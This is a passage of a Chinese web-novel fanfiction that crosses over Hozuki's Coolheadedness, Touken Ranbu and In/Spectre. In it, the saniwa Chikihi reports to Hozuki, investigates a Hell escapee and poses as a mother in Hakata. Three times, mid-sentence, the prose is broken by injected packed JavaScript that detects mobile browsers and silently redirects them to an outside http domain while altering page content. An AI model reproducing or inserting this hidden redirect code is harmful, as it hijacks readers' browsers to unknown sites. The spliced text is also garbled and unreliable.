作为地狱的中枢管理机构,阎魔殿占地面积其实很广,在其中也有很多机构,用来管理地狱大大小小的各项事务。 千祈转过走廊,路过热火朝天的记录科,穿过因为亡者排队等待审判而格外热闹的阎魔厅,最后在旁边的偏殿找到刚刚结束忙碌,正准备投入地狱财政规划审批的鬼灯。今天鬼灯身边的跟班只有桃太郎的伙伴——小白。 “是千祈大人!”小白什么时候都是快快乐乐的,它跑过来,在千祈身边转了转,像极了现世人类表情包中的小狗转圈.JPG 鬼灯抬头,手下写字的速度却不减半分,圆珠笔头上的金鱼草装饰晃出残影:“千祈?你怎么来了,巡视完成你不应该直接回家吗?” 为了给千祈一些适应的时间,他特意在分开前说明跟着茶吉尼天巡视完现世就可以下班。 “唉——”千祈长叹,将手里给鬼灯带来的手信放在桌子上,“我也想啊,但正好在现世遇上时间溯行军捣乱。” “那么,应该是解决了吧。”鬼灯低头,继续奋笔疾书,“以你的能力应该不成问题,也就是后续给时之政府和地狱两边的报告需要你加班赶出来。” 就武力来看,千祈本身的能力已经远超地狱大部分妖怪,如果算上那一本丸的刀,普通的时间溯行军向来都是看见绕着走的。 “是啊,时间溯行军是解决了,不过遇上了很麻烦的事情。”千祈搬了个椅子,坐到鬼灯的对面,揉了揉眉心,试图将脑海中那堆混乱的语言理清楚。 小白乖巧地蹲在鬼灯旁边,看着两人聊天。 “总的来说,这次时间溯行军似乎盯上了新生不久的神明”千祈顿了顿,补充道,“以及神明的男朋友” “一位是新生不久的神明,名叫岩永琴子,职责是帮助妖怪、幽灵和鬼怪之类的存在调解关系和解决问题。另一位是她的恋人,九郎,表面上是个普通人类大学生。” 鬼灯手中的笔微微一顿,但没有停下,只是抬起眼皮看了她一眼,示意她继续。作为资深打工人,千祈非常感同身受,甚至能窥见对方在想什么: 【真是的,又是麻烦事】 “详细的报告我后天之前会发给你,我特意过来是想和鬼灯大人说一下那个神明的男友。”千祈进入主旨,“根据稻荷神的神使汇报,新生神明的男友,樱川九郎吃过人鱼和件的肉,这样放任不管可以吗?” 一个不死且拥有改变未来能力的人存在世界上,对于地狱来说是一件很麻烦的事情吧。毕竟单是她这样被异世界机构带走的幽魂都能被抓回来。 一直不出声,专注摇尾巴的小白举起爪子,发出疑问:“鬼灯大人,千祈大人,什么是人鱼和件?” “是两种妖怪哦,人鱼的话小白应该听过。”千祈弯腰,温柔地摸摸小白的头为小白解释,引得小白的尾巴摇得更加欢快。 小白吐着舌头,歪了歪头:“是八百比丘尼的故事吗?” “没错。” 人鱼和件都是妖怪,前者吃了以后有一定概率长生,传说中八百比丘尼就是吃下人鱼肉后活了八百多岁;而件这种妖怪,长着牛的身体和角,头却是人类的样子,相传这种生物能够预言未来,但在预言后会马上死亡。 但实际上—— “件这种妖怪能够预言,是因为它们能够在一定范围内选择想要的未来。作为代价,在选择出未来后件就会死亡。”千祈的手不再满足于摸摸头,肚子也惨遭挼弄。 小白被盘得舒服极了,但还是有好好听千祈在讲什么:“也就是说,桃太郎家里有排骨、肉丸子和亡者,小白不知道吃什么。假如那个叫做件的妖怪做出选择第二天小白会吃排骨,第二天小白就会去吃?” “没错。”千祈干脆吧小白抱起来,放到腿上,一下一下熟练地为小白理顺刚刚弄乱的毛。 “关键在于,那位人类同时吃下了人鱼肉,得到了不死的能力。抵消了干涉未来就会死亡的代价。”这样的能力,假如她是时间溯行军之类的存在,必然十分心动。 “我个人更倾向于,时间溯行军想要清除那位神明的同时,得到这位能够抓住未来的九郎。” 拥有操控未来的能力,这样的力量绝不能让时间溯行军得到。 也因此,无论是神使还是茶吉尼天,在知道那位名为樱川九郎的能力后,都不约而同地想要告知鬼灯。 千祈看向鬼灯,等待着这位地狱实际掌权人的选择。 鬼灯的笔顿了一下,墨点在纸上晕开一小团痕迹。他抬起头,放下笔,双手交叠放在桌上。 “虽说彼世不会管现世的事情,但这件事确实需要好好做出行动呢。”鬼灯少见地苦恼起来。 “你先回去吧,我想想怎么处理。” 千祈瞬间松了口气,嘴角扬起温柔的笑意,连眼角都弯了些:“辛苦鬼灯大人啦!” 动作轻柔地将被摸得意犹未尽的小白放回地上,还顺手又揉了揉它的脑袋。 “那我就先告辞了,鬼灯大人!小白,下次再陪你玩!”她的语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332880|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气轻快,与刚才谈论正事时的沉稳判若两人。 不等鬼灯再说什么,千祈迅速转身,脚步轻快地向外走去,仿佛生怕慢一步就会被叫住,投入无尽的加班怀抱。 在心里欢呼着“下班!下班!”千祈几乎是蹦跳着踏上了返回本丸的路。 至于那位能改变未来的不死之身樱川九郎先生和新生神明岩永琴子小姐?啊啦,那是作为上司的鬼灯大人需要考虑的事情了。身为一名成熟的打工人,最高的职业素养就是下班时间绝不主动揽活,烦恼留在工作场所! 穿过连接本丸正门的结界,熟悉的庭院景象映入眼帘。本丸的结界内天气系统运转正常,夕阳将万叶樱的影子拉得极长,树下玩耍的短刀转过身来。 “主公回来啦!”眼尖的包丁四郎第一个发现她,欢呼着跑过来。 “是、是主公!欢迎回来!” “吼——” 这是五虎退和他的老虎。 腰侧的刀剑动了动,发出“咔哒”轻响,随即一道柔和的光芒闪过。 “主公。”身披华丽内衬斗篷姿态风雅的歌仙兼定出现在她身侧,微笑接过千祈脱下的羽织。 弯腰抱了抱主动张开手的包丁,摸了摸眼巴巴望着的五虎退和用尾巴缠住她小腿的大虎。一群小短刀听到动静后一窝蜂地围了上来“主人回来啦!”“主公我今天……”“主人”之类问候多到不知从哪里开始回好。 压切长谷部额头爆出十字:“喂喂,你们这样围着主人干什么!” “我回来了,今天没有加班哦!”她语气雀跃地宣布,仿佛这是一项了不起的成就。 “哦呀,看来是顺利下班了呢。”烛台切光忠从厨房方向探出头,身上还围着围裙,手里拿着锅铲,显然正在准备晚餐。 “等一下,饭马上就好。” 千祈脸上不自觉地带上了轻松的笑容,踏上廊檐,看着院子里吵吵闹闹、活力满满的刀剑们,厨房里烛台切光忠忙碌的身影,以及试图给一群小短刀讲道理的压切长谷部。 “今晚吃什么呢?好像有炖煮的香味呢!”千祈脚步轻快地向厨房走去,声音里充满了期待。 就在她的指尖即将触碰到厨房拉门的瞬间,怀中突然传来一阵不合时宜的、带着特定频率轻微震动。 掏出手机,一个无比熟悉的头像出现在手机屏幕上,“垃圾”的备注显示着手机拥有者对于这号人物的厌烦。 啧。 千祈面色漆黑,“嘀——”地按下接听。 “千祈,千祈大人——在吗在吗?救命啊——!”急切的男声从手机传来,语气夸张得仿佛天都快塌了。 “这边突然接到紧急通知,要交一份关于近期历史战场分析报告,明天就要,我这边完全搞不定啊!你以前帮我整理的那些资料还在不在?或者帮我写个大纲?不不不,最好直接帮我……” 千祈深吸一口气,果断、并且毫不犹豫地 ——挂断通话,拉黑。 世界清净了。 她脸上重新扬起灿烂的笑容,一把拉开了厨房的拉门。 “小光,今晚吃什么好吃的?” 9. 第 9 章 本丸的大广间内,阳光透过纸门,在地板上投下温暖的光束。千祈跪坐在矮几前,面前摊开着本周的本丸内番排班表和出阵安排,旁边还摞着一叠令人望而生畏的待写材料,其中大部分是需要提交给时之政府和地狱的例行公文,特别抽出来的是上次现世遇到时间溯行军的报告。 “畑当番——山伏国广、同田贯正国。马当番——蜂须贺虎彻、大俱利伽罗。本周近侍轮值——周一长谷部,周二歌仙,周三烛台切……”千祈一边轻声念叨,一边用笔勾画,时不时调整一下。 “出阵队伍……嗯,还没极化的太刀大太刀去演练场积累经验,分出二队去参加战扩演练,一队极化短刀们去地下城看看,哦对,得叫上博多……” 散乱的纸张铺了一地,全都是之前打印出来的废稿、草案之类的文件。药研藤四郎正仔细地将它们分类整理好, “大将,这些废弃的草案需要归档吗?”药研拿起一叠纸问道。 “不用了,这些直接处理掉就好。麻烦你了药研。”千祈头也不抬,正在为让谁带队去下周的江户城探索而犹豫。 “了解,交给我吧。”药研点点头,迅速将无用文件归拢到一边,又将需要的资料理齐。 终于敲定最后一项安排,千祈长舒一口气,揉了揉有些发酸的手腕。 她端起茶喝了一口,之前放凉的茶已经被药研贴心地换过热水了。然后拿起旁边那叠已经写完、盖上审神者泥印的报告,递给药研。 “药研,这些报告麻烦你跑一趟,送去阎魔殿的鬼灯大人那里。” “了解。”药研接过报告妥帖收好,抬头一看,千祈正站起来披上羽织。 “大将接下来要出门?” “嗯,”千祈站起身,活动了一下肩膀,“去趟众合地狱,时间溯行军上次袭击时在那里也留下了些痕迹,得去实地看看,补充一下调查报告。” “那您路上小心。” 她走出广间,正准备穿过庭院前往传送阵,就听到一个软绵绵又带着点天然的声音。 “啊呀,主公这是要出门吗?” 奶金色短发太刀笑眯眯地站在廊下,身边是眼睛亮晶晶地看着千祈的乱藤四郎。 “主公大人!是要去现世还是地狱,带我一起去嘛!”乱立刻凑上前,满脸期待。 千祈看了看他俩:“正好,我要去众合地狱收集点资料。髭切,你们要一起来吗。”有源氏重宝在场,万一有点什么意外情况也能镇得住场子。 至于膝丸…… 千祈想起今早派他去远征时,他那一步三回头、对着自家兄长千叮万嘱“兄长大人千万不要给主公添麻烦也不要自己走丢了”的模样,不由得笑了笑。 “众合地狱呀,听名字似乎是个有趣的地方呢。”他也挺感兴趣的。 “太好了!我一定会好好帮忙的!”乱开心地挽住千祈的手臂。 三人乘坐胧车抵达了众合地狱。与想象中哀嚎遍野的景象不同,这里的环境甚至称得上“雅致”,若非偶尔传来的啜泣声和某些特定场所传来的暧昧声响,几乎让人错觉来到了某个繁华的古镇花街。 当然,作为女性狱卒最多的地狱,这里也不缺各种各样服装店。 “主人!这件衣服主人穿上去一定很好看!”乱藤四郎指着一件花纹繁复的和服,兴奋地拉拉千祈的衣角。 “嗯?”髭切打量了一番店里的和服,指着一件素色和服说,“主人穿什么都好看,不过这件更衬主人的肤色。” 看着两刃悠闲的模样,千祈叹气:“好啦,我们先去目的地,一会再来逛街。” “啊啦,这不是千祈小姐吗,”一个温柔女声传来,“你们是来玩的吗?” 身着紫色和服,头戴莲花,十分温柔优雅的女子走来,当然,从最具标识性的两只大蛇组成的腰带能够一眼认出 ——这是阿香,众合地狱的长官,也是鬼灯的青梅竹马。 “阿香小姐,”千祈打了个招呼,“时间溯行军上次在这里留下过痕迹,我来看看。” “原来如此,辛苦了。”阿香笑着看了看她身边的两位刀剑男士,“还带了可靠的护卫呢。需要我帮忙吗?” “正好,阿香小姐,能为我介绍一下这边主要负责的事务吗?我想更全面地了解一下袭击发生地的背景。”说着从怀里掏出记事本,准备认真记录。 “当然可以。”阿香上前,带领千祈几人穿过紧闭的大门,介绍道“众合地狱是地狱十六大地狱中,八热地狱下属的一个地狱。” 越过那道分隔出生活与工作区域的大门后,众合地狱的气氛立刻变得不一样,空气中充斥着血腥味,远处也隐隐约约传来哭号。 门内的区域极为宽广,内里种了许多奇异植物,深知地狱物种多样性的千祈没敢随便触碰。 “往里一直走就是大量受苦处,是惩罚那些为了自己的快乐就公共场合【哔——】的人的地方” “刚刚是不是消音了。”乱藤四郎愣住,疑惑发问。 髭切微微一笑:“嘛,不要在意这些细节呢。” “往左边走的话,是无彼岸受苦处,惩罚出轨的人。” “还有惩罚作奸犯科者的其他受苦处……” 阿香介绍着,对其间接受惩罚的犯人高声哀嚎惨叫视若罔闻。 几人边听边走,千祈跟着鬼灯走过几个地狱,对各个地狱的结构和犯人会被发配去什么地方有着大致了解,髭切和乱藤四郎则是第一次参观地狱,四处打量着。 “真是严格……”乱藤四郎感叹。 “做了恶事自然要接受惩罚,这也是必须的事情吧。”奶金色短发太刀笑吟吟地望着四周蒸腾的热气与奇异的刑具,唇角弯起,“这就是不好好遵守八幡大菩萨嘱咐的下场哦。” “哎呀,这位美丽的小姐,看着面生啊。” 一个油腔滑调的声音突然从旁边传来。 千祈脚步一顿,低头看见一个被恶鬼押着的犯人正歪着嘴冲乱藤四郎笑,眼神黏腻地在短刀裙下和大腿上扫来扫去。 “喂,老实点。”恶鬼狱卒低吼。 若不是有恶鬼摁住,对方很有可能已经扑过来了。 乱藤四郎见状,眉头皱起,困扰地压住裙摆,:“真是的,好过分。”声音带着一丝委屈,仿佛真的被冒犯到的少女。 周身正欲喷薄而出的灵力被压制下去。 千祈无奈,乱又玩上了。 犯人见状更加兴奋,正欲调戏两句,眼睛一瞥:“这位小姐姿色更甚,要不要陪我?我生前最会哄女孩子开——” “啊——呃!”身体像是被什么东西死死压住,脖颈传来的压力让他无法呼吸也说不出话。 与此同时,短刀不知道什么时候刺入手掌,乱藤四郎收敛笑容,湛蓝色的眼睛里蓄满杀意。 “不行哦,不可以对主人这样。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332881|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“啊啦,在地狱的亡者被斩首会恢复的话,或许用别的方法也可以惩治罪人。”髭切缓缓抽出太刀,茶金色的眼眸在昏暗的地狱环境中隐隐泛起磷火般的微光。 他盯着犯人某个部位,微笑着说:“放心啦,我会切得很仔细的。” “抱歉,阿香小姐,下属太过放肆了。”千祈不太好意思地朝阿香道歉。 虽说是为自己的刀剑擅自行动而道歉,但她望向犯人的眼神毫无歉意。明明只是平静的一瞥,却让亡者感到比被刀剑穿透掌心时更刺骨的寒意。空气中仿佛有无形的压力笼罩下来,亡者甚至能听到自己骨骼和内脏被挤压的细微声响。 “没事哦,请便。”这位在地狱任职几千年的狱卒对此没有任何异议,反而有些乐见其成。 “罪人在地狱受到惩罚是很正常的事情呢,倒是千祈小姐,有意向到合众地狱任职吗?” 看着三人分工有序,丝毫不手软的样子,阿香向千祈发出邀请。 “说实话,现在的年轻狱卒多少有些不够强硬,众和地狱非常缺少像你和两位这样的狱卒呢。” 这也是当前狱卒工作的普遍现象,随着现世人口增长,死亡人数也随之暴涨的情况下,地狱不得不大批量招聘狱卒,培训时间也相应有所缩短。即使在各个部门时不时加强培训的情况下,也常常出现狱卒偷懒、定力不足被罪人蛊惑、抑或是性子太过温和无法对罪人施加严厉惩罚的状况。 为此她的好友鬼灯也偶尔会抱怨当下狱卒的倦怠,认为应该好好提升狱卒们的业务能力。 千祈目光游移:“啊哈哈,但我已经担任审神者,还要负责追查逃犯,实在是没有空啊。” 单是完成本丸的工作安排和地狱的报告就忙得不行,再来一个职位是为了什么,锻炼身体探索极限吗? “也对呢。”阿香了然。 见对方暂时打消了这个危险的想法,千祈转移话题:“说到这个,上次时间溯行军来袭时,是否有犯人目击到具体情况?” 亡者拼命挣扎起来,被灵力压住的喉咙里发出“唔唔”声,眼中爆发出强烈的求生欲,千祈见状放开了对方嘴上的灵力。 乱藤四郎稍稍松开压制,甜笑着警告:“要说实话哦,不然的话——”短刀在他掌心微妙地转动。 亡者顾不上疼痛,急忙喊道:“咳咳——我——咳,我知道!” “有个家伙趁着场面混乱,偷偷拉着那些妖怪的衣角消失在突然出现的裂缝里了!” 为什么是用那么简单的方法逃走的,时间溯行军不砍亡者的吗?! 髭切微笑地用刀刃碰了碰亡者:“还有呢?” 亡者瑟瑟发抖“不,不知道,在这里谁会交换自己的名字啊,一天不是被打就是……” 不可说的地方一凉。 “噫——!我还知道那家伙之前说如果能回到现世要去博多逍遥!我真的只知道这些!” “这真是……”阿香感叹道。 “意外收获呢,”千祈拿出手机,拨打鬼灯的电话,“我这就和鬼灯大人申请外出执勤。” 亡者如释重负地瘫软在地,却听见髭切轻柔的嗓音再次响起:“啊啦,既然提供线索的工作完成了……” 太刀闪过一道寒光,可以称得上美丽的髭切在亡者眼里笑得却像恶魔般可怖:“那我们现在来处理一下刚才的失礼言行吧?” 地狱深处回荡起一声凄厉的惨叫。 10.第 10 章 几小时后—— “就是这里,请进。” 山本转动钥匙,打开大门,转身对身后的女子和几个孩子说道。 “好的,”女子进门,转头招呼几个小少年进门,“你们也进来吧。” 待到所有人进屋后,女子一副不太好意思的自责模样对山本说道:“这么晚了还约您出来看房,真的很对不住。” 面前的女子看起来不过二十六七,穿着一身板正的职业西装,虽然面色有些疲惫,但举止得体。很显然,对方刚刚结束工作,才能从忙碌的工作中抽出时间寻找可以租的房源。 而且—— 山本不着痕迹地看了看对方身后跟着的几个年纪不一、气质各异的孩子: 背着斜挎包,头上别着小发卡,看起来年纪不大的可爱男孩;休闲马术套装,看着像小王子一样的小少年;还有身着黑衬衫,打领结,穿短裤,却不知道为什么感觉非常成熟的黑发少年。孩子们都长得异常俊秀,发色和瞳色也各不相同,但个个衣着整洁。或许只是不太适应新的环境和陌生人,他们只是默默地跟着母亲,用好奇而警惕的目光打量着周围。 【真是一位了不起的母亲啊……】 【这么年轻,就要独自抚养这么多孩子,还在工作打拼。博多生活成本也不低,真是太不容易了。】 山本心里感慨,面上却不显,脸上挂起笑容,对女子的道歉表示不好意思。 “没有没有,很理解您的情况,是我这边麻烦您才是,因为正好有个客人决定把这栋房屋出租,但最近我实在没有可以排开的时间,这才打扰您。” 。 其实也没有自己说的那么严重,没有时间是真的,对方要求太过急迫也是真的,这些只不过是一些双方交流的客套话罢了。 他接着介绍:“这栋房屋是目前所有房屋中最接近您需求的一套了,您看这边,一楼带有花园,地方也很宽敞。” “还有这边,朝月桑,从这里望去,整个博多湾都能看见,远处还有灯塔。” 突然,他想起什么,热心地说:“而且这一带很安静的,邻里关系也不错,非常适合家庭居住。房间也很大,这几个孩子都可以有自己的独立空间。” 面前的朝月愣了一下,似乎是刚刚下班还没有从疲惫中恢复过来,随即露出一个礼貌的微笑:“啊……嗯,是啊,孩子们都很乖的。” 他一边介绍着房屋的布局:“这里是客厅,非常宽敞,采光也很好。这边是厨房,设备也很齐全……”一边忍不住观察着这一家人。 那位朝月女士在刚刚的分神后调整了状态,听得很认真,偶尔会提出一些非常有针对性,诸如“附近的治安情况如何?”“垃圾回收点在哪里?”“有没有宠物饲养限制?”一类的问题。 在这期间,孩子们安静地跟在母亲身后,几乎不发出任何多余的声音。那个看起来最气质成熟的黑发少年在房间走动,却不会胡乱触碰东西,甚至有模有样地检查。 另外两个金发男孩,则一个悄无声息地检查了门窗的锁扣,另一个则探头看了看房间构造,然后彼此交换了一个眼神,看起来很满意的样子。 真是贴心可靠的孩子,大概是单亲家庭的孩子都比较早熟懂事吧?而且这一家人的感情看起来真好,彼此之间有种无需言语的默契。 “朝月桑觉得怎么样?”山本介绍完一圈房间的优点,期待地问道。 朝月女士环顾四周,在进行最后的权衡。她微微侧头,那个黑发的孩子立刻上前半步,悄悄在朝月女士耳边说着悄悄话,另外两个孩子乖乖望着母亲。 “嗯,确实不错。”朝月女士终于露出了今天第一个放松的微笑,“那就这里吧,山本先生。麻烦您尽快准备合同,我们希望能尽快入住。” 说着,朝月女士露出不太好意思的笑:“毕竟工作调动太仓促,老让孩子们住酒店也不是解决问题的办法。” “啊,好的、好的,没问题!”山本喜出望外,这单成了! “我这就回社里准备,最快明天上午就能签约交房!” “非常感谢。”朝月女士微微鞠躬,她身后的孩子们也非常有礼貌地跟着鞠躬。 山本连忙回礼,心中暗想 【虽然这家人有点特别,但这位年轻的母亲和她乖巧的孩子们,真是让人印象深刻啊。他仿佛已经看到这位坚强的母亲带着孩子们在这里开始新生活的画面了】 待到房屋中介山本走后,刚刚那位“坚强的母亲”立马换了副面孔,长叹一声,变成了被生活压垮的模样。身边安静乖巧的“孩子们”赶忙围了上来。 “大将没事吧,还能撑住吗?” “主人!” “振作起来啊主人!” 她整个人软绵绵地挂在三刃众稍高一些物吉贞宗肩上,先前那种精英职场女性的干练形象一扫而空。过了好一会儿,她才缓过气来,重新站直。 “没事了,我调整好了,谢谢你们。”千祈调整好状态,望向身后的屋子。 “先检查一下附近的情况吧,然后去酒店和青江他们会合。我来布置基础结界。” 几刃望着自己主人“早知道不嘴贱”的萎靡模样,悄悄对视一眼,忍俊不禁地抿嘴散开、各自侦察。 千祈一边打着哈欠,一边认真调动体内的灵力,在房屋周围依次插下灵钉,缓缓构筑结界。不出意外的话,这栋房子恐怕就是接下来一个月她往返于彼世与现世的临时据点了。 一想到这个,她简直欲哭无泪,恨不得启动时间转换器回到几小时前狠狠给自己一巴掌。 为什么,怎么就管不住这张嘴!难道是这几天稍微能休息一下就飘了?居然主动提出要在现世执行搜查方案! 一直到回酒店的路上,药研藤四郎看着千祈还是郁郁寡欢的模样,忍不住问道: “大将当时为什么会提出这个提案呢?” 按照鬼灯大人的想法,这件事情应该是由大将带领狱卒对博多地区展开搜索。现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339549|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的计划是狱卒们在地狱待机,由大将和他们几个刀剑在博多潜伏秘密寻找。 用大将的话来说,耐心些总能钓到大鱼的。 千祈没有立刻回答,只摩挲着手里的银簪,半响才说道: “不知道……” “……可能觉得准备周全些才能减少意外。要是因为准备不足导致普通人被卷进来受伤,最后烂摊子还得我们来收拾。” 而且这样的计划更加隐秘,也不容易惊动逃犯,更重要的是此前时间溯行军袭击地狱这件事非常令人费解,说不定对方有更加复杂的计划。 万一逃犯并非偶然被时间溯行军携带逃走,而是打算做些什么别的,为了不回到地狱必然会拼死挣扎。到时候地狱工作量增加,加班的不还是她吗? 药研藤四郎望着千祈,几年前那个一边处理意外情况一边咒骂时之政府的身影浮现在脑海。 他温柔地说:“大将还是没变呢。” 千祈十动然拒:“不,我变了,我现在变得更想把时之政府高层那些不干事的家伙细细地切成臊子。” 要不是时之政府那边的世界出幺蛾子,用得着她现在身兼两职加班吗?她应该早投胎去了! 暗暗说着时之政府的坏话,千祈和两短刀一胁插按下电梯键,等待电梯从楼上下降。 “是、是。”药研笑着回答。 包丁鼓起腮帮:“唔——让主人生气,诅咒他们没有人妻!” 物吉贞宗眯起眼笑道:“这……那我就让他们没有幸运?” “叮——”的一声轻响,电梯门缓缓打开。 电梯里站着一男一女。女子眼神锐利,棕发利落的扎成马尾,穿着干练的西装套裙。她身旁是一位身材异常高大健壮的白人男子,面无表情,手里提着一个大号行李箱。 门内外的双方都短暂地愣了一下。 似乎是想起什么,千祈揽过站在电梯门中间的包丁,柔声说:“过来一点哦,别挡着人出电梯。” 然后不好意思地朝着两人微笑:“抱歉,孩子调皮。” 包丁微微一怔,鼻尖萦绕着千祈身上淡淡的香气,脸颊不由自主地泛起红晕。 主人身上好香啊,嘿嘿, “唔,好。”支支吾吾的,在旁人看来是孩子被教训后的不好意思的模样。 随后几人侧身,为对方让出通路。 棕发女子目光在千祈和她身后的“孩子们”身上短暂停留了一瞬,并未过多在意,只是微微颔首示意,便与那名壮汉一前一后地走出了电梯。 轮子滚过地面的声音沉闷,不一会两人就走出酒店大厅。 “怎么了,丽子?”虽然是一副经典的外国人面孔,但魁梧的男子脱口而出的却是标准的霓虹语。 “没什么,”朝仓丽子回头看了看门口电梯方向,顿了顿,“走吧,给废物儿子处理事情去吧。” 弄完这个,还有几个人需要处理。 真会给人找事情做啊…… 11.第 11 章 “哈——切。” 便利店的自动门滑开,从家里开车过来的店长打着哈欠走进店里,对站在收银台后留有刘海的俊美男子挥了挥手。 “青江桑,夜班辛苦了,换我来吧。” 被称作青江的青年将额前一丝长发捋到耳后,嘴角弯起。 “那就交给你了,店长。”他脱下浅灰色的便利店制服,露出里面的白色休闲衬衫,在换衣抬手时隐隐透出腹部肌肉。 正打算拎起斜挎胸包离开店里时,青江被店长叫住。 “哦,对了,”正在换制服的店长忽然想起什么,从身后带来的袋子里拿出一个纸袋,里面沉甸甸的装着些东西。 “这些饭团带回去吧,我记得你家里兄弟不少?” “那么一大群家人真好啊,家里热闹。”店长接近五十的年纪,家里的孩子也都是离家上学或者工作的岁数,对青江这种看起来二十来岁、家里还有兄弟姐妹的店员很是照顾。 青江接过袋子,脸上的笑意深了几分:“是啊,一群小家伙呢。谢了,店长。” 推开店门,清晨微凉的空气混着博多海边的潮气扑面而来。他漫不经心地解锁手机,修长的手指在屏幕上滑动。 【收工了。今日无异常。好心的店长附赠饭团若干,有人认领吗?】 消息刚发出去没多久,置顶的名为“朝月家”的群组就跳出了回复。 【辛苦了青江,回家好好休息吧。烛台切那边怎么样呢?】——发信人:千祈。 他正要回复,新的消息又弹了出来。 【饭团!我要金枪鱼的!】——包丁 【……我、我也要……】——退 【辛苦了青江殿】——物吉 青江轻笑一声,将手机揣回兜里,拎着那袋饭团,融入了清晨稀疏的人群之中。 与此同时,市中心某写字楼内。 “朝月——!这里能麻烦你来看一下吗?”新入职的同事略带焦急地喊道。 坐在电脑前的千祈抬起头,柔顺的发丝滑过肩头。 “是哪里不会吗?我来看看。”她小腿轻轻一蹬,身下的轮滑椅便悄无声息地滑到了隔壁工位。 “这里这里,不知道为什么就变成这样了。” “这个……啊,原来要这样设置吗!”同期的女同事看着千祈熟练的操作,脸上满是崇拜,“明明是一起进公司的,朝月桑你怎么好像什么都会?” 千祈浅浅一笑,眼神温柔:“只是之前碰巧自学过一些而已,多练习几次你也能很快上手的。” 她目光扫过屏幕上处理完毕的文件,确认无误后,才滑回自己的座位。指尖划过手机屏幕,看着群里跳动的消息,她快速回复了一句: 【我这边一切正常,不用担心。晚上见。】 按下发送键,她将手机屏幕朝下扣在桌上,重新将注意力集中到眼前的报表上,现在的她只是一个再普通不过的职场打工人。 ** 居酒屋的后门被推开,烛台切光忠与同事道别。 “辛苦了,光忠!今天你的刀工又把大家吓到了呢,切那么快,客人看了都说很厉害呢。” 烛台切光忠笑着,礼貌回到:“只是熟能生巧而已。明天休息,那就后天见。” “后天见” 他脱下沾染了食物味道的外套,搭在手臂上,朝家的的方向走去。 钥匙插入锁孔,发出“咔哒”的转动声。 烛台切习惯性地将自己的钥匙串挂在一个空着的钩子上,发出轻微的金属碰撞声。 没过多久,楼下便传来了少年们清脆的谈笑声。 “今天数学小测的最后一道题好难啊……为什么人类还要学这种东西?” “今天,同学们不知道为什么都喜欢围着退……” “说明好运气到你身上了哦。” “药研哥呢?” “主人说缺一振护身刀,带着药研哥去公司了。” “真是的,做题还不如在主人怀里撒娇,好羡慕药研哥。” 声音由远及近,少年们吵吵闹闹地结伴回家。 为首的包丁藤四郎抱怨着推开并未反锁的公寓门,几个穿着不同款式校服的少年鱼贯而入。他的目光习惯性地扫向门厅的挂钩,那双漂亮的、很容易就能看穿想法的眼睛立刻亮了起来。 “光忠先生的钥匙已经挂在这里了!”他语气雀跃,烛台切殿总是会做好吃的点心给他,是仅次于主人、人妻、一期哥、兄弟们、小豆殿之后他最喜欢的人之一。 “真的诶,”跟在他身后的物吉贞宗温和地笑了笑,“那就是说光忠先生已经下班回来了。” 五虎退点点头,高兴道:“嗯!晚饭……不用吃外卖了。” 现世的外卖费用好贵,时间也长,也没有烛台切殿做的好吃。 少年们叽叽喳喳地脱下鞋子,吵吵嚷嚷地涌向客厅和厨房,分享着学校的趣事,争论着饭团的口味。 “烛台切,今天吃什么呀!”包丁小跑到正在忙的烛台切身旁。 “先吃点饭团垫一下吧。”烛台切光忠边切菜边说,他的衣领第一颗扣子松开,用力切肉时锁骨处会小小凹陷下去。为了方便操作,还把袖口挽起来,露出小臂上流畅的肌肉线条。 “算算时间,主公也差不多到了呢。”笑面青江躺在客厅沙发上,他还是喜欢抱着他搓出来的金刀装暖手。 “这次是用主人做的御守装饰了呢,青江殿。”五虎退规规矩矩在沙发前的椅子上,小腿在空中轻轻晃着。一直随身的大虎此刻缩小,如同猫咪一般在五虎退的怀里呼呼大睡。 就在这时,门外再次传来动静。紧接着是两下轻柔的敲门声。 “叩、叩。” 随即,缩小的大虎灵活弹起,离门最近的五虎退跳下椅子小跑着过去,踮起脚尖打开了门。 门外,千祈正站在那里。她刚下班,身上还带着一丝室外微凉的空气,脸上挂着一天工作后淡淡的疲惫,但看到房间里的刀剑们齐声说道“辛苦了”后,弯起嘴角: “我回来了。” ** “那么——” 饭饱喝足后,“朝月”家的家庭会议开启。 “说说今天的情报?”千祈坐在楼梯上,刀剑们则四散在椅子、沙发和地上,找了地方坐着。 烛台切靠在厨房门框上擦着手,笑面青江懒洋洋地陷在单人沙发里揉着金球刀装,物吉贞宗和五虎退规规矩矩坐在椅子上,包丁则抱 